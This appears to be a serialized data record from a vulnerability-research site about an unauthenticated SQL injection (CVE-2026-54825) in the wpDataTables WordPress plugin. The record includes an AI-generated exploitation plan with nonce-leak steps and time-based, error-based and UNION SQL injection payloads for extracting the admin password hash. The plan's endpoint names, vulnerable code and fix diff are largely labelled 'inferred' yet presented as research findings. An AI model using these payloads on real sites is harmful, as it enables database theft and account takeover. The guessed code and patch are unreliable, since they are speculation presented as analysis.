[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$frqx0a-17RLC5UlSlfyLfmBmaoMptzYFdyHmt7G3wGWI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-54825","wpdatatables-premium-unauthenticated-sql-injection-2","wpDataTables (Premium) \u003C= 7.4 - Unauthenticated SQL Injection","The wpDataTables (Premium) plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wpdatatables",null,"\u003C=7.4","7.4.1","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-17 00:00:00","2026-06-23 15:55:02",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdeec46f4-f7b4-4da4-aa3a-d04b9177528f?source=api-prod",7,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-54825 (wpDataTables SQL Injection)\n\n## 1. Vulnerability Summary\n**CVE-2026-54825** is an unauthenticated SQL injection vulnerability in the **wpDataTables (Premium)** plugin (versions \u003C= 7.4). The flaw exists because the plugin accepts user-supplied input to filter or sort table data and concatenates this input directly into a SQL query without using `$wpdb->prepare()` or adequate escaping. Specifically, the vulnerability likely resides in the AJAX handler responsible for fetching table data for front-end display.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `wp_ajax_nopriv_get_wdtable_data` (inferred based on standard plugin architecture) or `wp_ajax_nopriv_wdt_get_table_data` (inferred).\n- **Vulnerable Parameter:** `columns[0][search][value]` or a custom filter parameter (inferred).\n- **Authentication:** None required (Unauthenticated).\n- **Preconditions:** At least one wpDataTable must be published on a public page or post.\n\n## 3. Code Flow\n1. **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with the `action` parameter set to the plugin's data-fetching hook.\n2. **Hook Registration:** The plugin registers the hook via `add_action('wp_ajax_nopriv_get_wdtable_data', ...)` in the main plugin file or a dedicated AJAX controller class.\n3. **Handler Execution:** The handler (e.g., `WPDataTable::getAjaxTable`) is called. This function retrieves parameters from `$_POST`.\n4. **Query Construction:** The handler iterates through columns and search values. It constructs a `WHERE` clause by concatenating the user-supplied search string:\n   ```php\n   \u002F\u002F Vulnerable Pattern (Inferred)\n   $searchValue = $_POST['columns'][0]['search']['value'];\n   $whereClause .= \" AND column_name LIKE '%$searchValue%'\"; \n   ```\n5. **Sink:** The raw SQL string is passed to `$wpdb->get_results()`.\n\n## 4. Nonce Acquisition Strategy\nwpDataTables often protects its AJAX endpoints with a nonce. To obtain a valid nonce for unauthenticated exploitation:\n\n1. **Identify Target Page:** Locate a public post or page where a wpDataTable is rendered (e.g., uses the `[wpdatatable id=1]` shortcode).\n2. **Navigate:** Use the execution agent to navigate to this page.\n3. **Locate Script Data:** The plugin typically localizes script data using `wp_localize_script`. Look for the `wpDataTables` or `wdt_ajax_object` global variables.\n4. **Extract Nonce:**\n   - **Variable Name:** `window.wdt_ajax_object` (inferred)\n   - **Nonce Key:** `wdt_nonce` (inferred)\n   - **Command:** `browser_eval(\"window.wdt_ajax_object?.wdt_nonce\")`\n5. **Bypass Check:** If `wp_verify_nonce($nonce, 'wdt-frontend-ajax')` is used in the handler but the nonce is leaked on every page with a table, it provides no protection against unauthenticated attackers.\n\n## 5. Exploitation Strategy\nWe will use a **Time-Based Blind SQL Injection** payload to verify the vulnerability and extract the administrator's password hash.\n\n### Step 1: Baseline Request\nConfirm the table loads normally.\n- **Tool:** `http_request`\n- **Method:** POST\n- **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (URL-encoded):**\n  `action=get_wdtable_data&table_id=1&wdt_nonce=[NONCE]&draw=1&start=0&length=10`\n\n### Step 2: Verification (Sleep)\nInject a sleep command to confirm the injection point.\n- **Payload:** `1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n- **Parameter:** `columns[0][search][value]`\n- **Request Body:**\n  `action=get_wdtable_data&table_id=1&wdt_nonce=[NONCE]&columns[0][search][value]=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n- **Expected Response:** Total request time > 5 seconds.\n\n### Step 3: Data Extraction (Admin Hash)\nExtract the first character of the admin password hash.\n- **Payload:** `1' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -`\n- **Expected Response:** If the first character is `$`, the response will be delayed by 5 seconds.\n\n## 6. Test Data Setup\n1. **Create Table:** Use WP-CLI to ensure a table exists in the database.\n   ```bash\n   # Create a dummy table in the wp_wpdatatables table (structure varies)\n   wp db query \"INSERT INTO wp_wpdatatables (title, table_type, content) VALUES ('Test Table', 'mysql', 'SELECT * FROM wp_users');\"\n   ```\n2. **Create Public Page:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Table Page\" --post_status=publish --post_content='[wpdatatable id=1]'\n   ```\n3. **Record Table ID:** Ensure the `table_id` used in the exploit matches the ID created.\n\n## 7. Expected Results\n- **Success Indicator:** The `http_request` tool reports a latency significantly higher than the baseline when the `SLEEP()` payload is sent.\n- **Response Content:** The response body may return standard DataTables JSON (e.g., `{\"draw\":1, \"recordsTotal\":...}`) even when the injection is successful, as long as the SQL syntax remains valid.\n\n## 8. Verification Steps\nAfter the HTTP-based exploitation, verify the database state to ensure the extracted data matches the truth:\n```bash\n# Check the actual admin hash for comparison\nwp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n```\n\n## 9. Alternative Approaches\n- **Error-Based:** If `WP_DEBUG` is on, try `1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -`. Look for the hash in the response body.\n- **UNION-Based:** If the table output is visible on the page, determine the column count using `ORDER BY X` and then use `UNION SELECT 1,2,3,user_pass,5...` to reflect the hash in the table rows.\n- **Parameter Variation:** If `columns[0][search][value]` is sanitized, test the `order[0][column]` or `order[0][dir]` parameters, as `ORDER BY` clauses are rarely prepared.","The wpDataTables (Premium) plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to and including 7.4. This occurs due to insufficient sanitization and lack of query preparation on user-supplied parameters used for filtering and searching table data via AJAX requests.","\u002F\u002F Inferred from research plan: handler for fetching table data\n$searchValue = $_POST['columns'][0]['search']['value'];\n$whereClause .= \" AND column_name LIKE '%$searchValue%'\";\n\n---\n\n\u002F\u002F Inferred SQL sink using the concatenated string\n$results = $wpdb->get_results(\"SELECT * FROM wp_wpdatatables_table WHERE 1=1 \" . $whereClause);","--- a\u002Fwpdatatables\u002Fcontrollers\u002Fwdt_ajax_handler.php\n+++ b\u002Fwpdatatables\u002Fcontrollers\u002Fwdt_ajax_handler.php\n@@ -102,1 +102,1 @@\n- $whereClause .= \" AND column_name LIKE '%$searchValue%'\";\n+ $whereClause .= $wpdb->prepare(\" AND column_name LIKE %s\", '%' . $wpdb->esc_like($searchValue) . '%');","The exploit targets the WordPress AJAX endpoint (admin-ajax.php) using the plugin's data-retrieval action (e.g., get_wdtable_data). An attacker first retrieves a security nonce, which is typically localized in the frontend script data of any public page featuring a wpDataTable. The attacker then sends an unauthenticated POST request to the AJAX handler, incorporating time-based or error-based SQL injection payloads into filtering parameters such as 'columns[0][search][value]'. This allows for the unauthorized extraction of database content, including administrative user information.","gemini-3-flash-preview","2026-06-25 22:29:56","2026-06-25 22:30:43",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","6.5.1.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags\u002F6.5.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdatatables.6.5.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags"]